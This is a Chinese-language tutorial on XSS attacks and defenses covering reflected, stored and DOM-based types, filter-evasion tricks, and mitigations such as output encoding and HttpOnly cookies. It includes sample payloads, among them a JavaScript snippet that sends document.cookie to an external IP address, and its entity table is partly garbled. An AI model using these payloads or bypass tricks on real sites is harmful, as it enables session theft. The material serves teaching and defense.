Web 安全之 XSS 攻击与防御
前言
黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统。开放式 Web 应用程序安全项目(OWASP, Open Web Application Security Project) 在 2017 年公布了十大安全漏洞列表:
- 注入
- 失效的身份认证
- 敏感信息泄漏
- XML 外部实体(XXE)
- 失效的访问控制
- 安全配置错误
- 跨站脚本(XSS)
- 不安全的反序列化
- 使用含有已知漏洞的组件
- 不足的日志记录和监控
该列表总结了 Web 应用程序最可能、最常见、最危险的十大漏洞,可以帮助开发团队规范开发流程,提高 Web 产品的安全性。在 2007 年 OWASP top 10 中,XSS 高居所有 Web 威胁之首,在 2013 年 OWASP top 10 中,XSS 被列在第三位,在 2017 年 OWASP top 10 中,XSS 位于第七位,由此看出 XSS 在 Web 攻击手段里,有着不小的地位。
什么是 XSS ?
XSS (Cross Site Scripting),即跨站脚本攻击,是一种常见于 Web 应用中的计算机安全漏洞。恶意攻击者往 Web 页面里嵌入恶意的客户端脚本,当用户浏览此网页时,脚本就会在用户的浏览器上执行,进而达到攻击者的目的。比如获取用户的 Cookie、导航到恶意网站、携带木马等。借助安全圈里面非常有名的一句话:
所有的输入都是有害的。
这句话把 XSS 漏洞的本质体现的淋漓尽致。大部分的 XSS 漏洞都是由于没有处理好用户的输入,导致恶意脚本在浏览器中执行。任何输入提交数据的地方都有可能存在 XSS。
XSS 脚本攻击案例:
新浪微博遭受 XSS 攻击
人人网遭受 XSS 攻击
在这里使用一个简单的例子测试XSS:
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>测试是否存在xss漏洞</title>
</head>
<body>
<span>输入评论:</span>
<input type="text" value="" placeholder="请输入您的评论" id="comment">
<input type="button" value="提交" id="submit">
<p>
<span>您的评论:</span>
<span id="commentList"></span>
</p>
<script>
document.getElementById("submit").addEventListener("click",function(){
let comment = document.getElementById("comment").value
document.getElementById("commentList").innerHTML = comment
})
</script>
</body>
</html>
注意:使用innerHtml插入代码,只是当作普通的html执行,js解析器不会执行js脚本。
XSS 攻击分类
反射型
用户在页面输入框中输入数据,通过 get 或者 post 方法向服务器端传递数据,输入的数据一般是放在 URL 的 query string 中,或者是 form 表单中,如果服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常较小,但是某些反射型 XSS 还是会造成严重后果的。
黑客通常通过构造一个包含 XSS 代码的 URL,诱导用户点击链接,触发 XSS 代码,达到劫持访问、获取 cookies 的目的。
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>xss漏洞广告页面</title>
<style>
a {
text-decoration: none;
font-size: 2rem;
}
img {
width: 8rem;
height: 8rem;
}
</style>
</head>
<body>
<a href="attack.html?content=<img src='aaa.png' onerror='alert(1)'/>">
<img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1520930605289&di=04f8835509d8c3c3fac4db7636247431&imgtype=0&src=http%3A%2F%2Fpic.58pic.com%2F58pic%2F13%2F14%2F16%2F37J58PICWTD_1024.jpg">
</a>
<a href="attack.html?content=<img src='aaa.png' onerror='while(true)alert(/关不掉/)'/>">敏感词汇</a>
<script>
</script>
</body>
</html>
持久型
通常是因为服务器端将用户输入的恶意脚本没有经过验证就存储在数据库中,并且通过调用数据库的方式,将数据呈现在浏览器上,当页面被用户打开的时候执行,每当用户打开浏览器,恶意脚本就会执行。持久型的 XSS 攻击相比非持久型的危害性更大,因为每当用户打开页面,恶意脚本都会执行。
例如一个评论功能,在提交评论的表单里面:
<input type="text" name="content" value="评论内容" >
正常情况下,用户填入评论内容提交,服务端将评论内容保存到数据库,其他用户查看评论时,从后台提供的接口中取出数据展示。非正常情况下,恶意攻击者在 value 中填写恶意代码:
<img src='' onerror='alert(/攻击脚本/)' />
后台保存到数据库中,其他用户查看评论的时候就会执行这些恶意攻击代码。
DOM 型( DOM Based XSS )
DOM 是一个树形结构,我们可以通过写 js 代码来修改节点,对象和值。DOM XSS 简单理解就是它的输出点在 DOM 。XSS 代码可能是插入简单的<script src="https://test.com/haker.js">
,载入第三方的恶意脚本,这些恶意脚本,通常是读取用户的 cookie 。
var hakerImg = document.createElement('img');
hakerImg.width = 0;
hakerImg.height = 0;
hakerImg.src =
'http://110.114.119.120:5000/?hacker='+encodeURIComponent(document.cookie);
XSS 常见攻击方法
1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;
2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>
;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)
3、空格、回车和 Tab。如果 XSS Filter 仅仅将敏感的输入字符列入黑名单,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>
;
4、利用事件来执行跨站脚本。例如:<img src=“#” onerror= “alert(1)”/>
,当 src 错误的视乎就会执行 onerror 事件;
5、利用 CSS 跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)}
;
6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>
;
7、利用字符编码,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;( JS 支持 unicode、eacapes、十六进制、十进制等编码形式);
8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;
9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage
;
XSS 如何防御?
从上面的介绍可知,XSS 漏洞是由于对用户提交的数据没有经过严格的过滤处理造成的,所以防御的原则就是不相信用户输入的数据,对输入进行过滤,对输出进行编码。
1、使用 XSS Filter
针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
-
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
-
过滤或移除特殊的 html 标签:
<script>
、<iframe>
等。 -
过滤 js 事件的标签:
onclick
、onerror
、onfocus
等。
2、html 实体
当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码,在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。 html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。
显示结果 | 描述 | 实体编号 |
---|---|---|
空格 |   ; | |
< | 小于 | < ; |
> | 大于 | > ; |
& | 和 | & ; |
'' | 引号 | " ; |
3、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,除了上面的那些转义之外,还要附加上下面的转义: \
转成 \\
/
转成 \/
;
转成 ;
(全角;)
注意:在对不可信数据做编码的时候,不能图方便使用反斜杠\
对特殊字符进行简单转义,比如将双引号 ”
转义成 \”
,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制\xhh 的方式进行编码。
4、Http Only cookie
许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie
获取 cookie。
总结
很多地方都可能产生 XSS 漏洞,并且产生的方式不一样,所以对于这些漏洞,我们需要找到正确的方法来防御。XSS 漏洞在不断的发展,上面介绍的防御方法几乎能够解决大部分的 XSS 漏洞,即便这样,我们也不能掉以轻心,为了让 Web 应用更安全,我们还需要结合其他的方法来加强 XSS 防御。
随着科技的不断发展,Web 应用变得越来越复杂,随之而产生的漏洞(不仅限于 XSS ) 也越来越多。没有什么方法能够一次性解决所有安全问题,我们只能在实际的工作过程中,针对不同的安全漏洞进行针对性的防御。
参考资料
Cross-site Scripting (XSS)
77个XSS注入汇总
对于跨站脚本攻击(XSS攻击)的理解和总结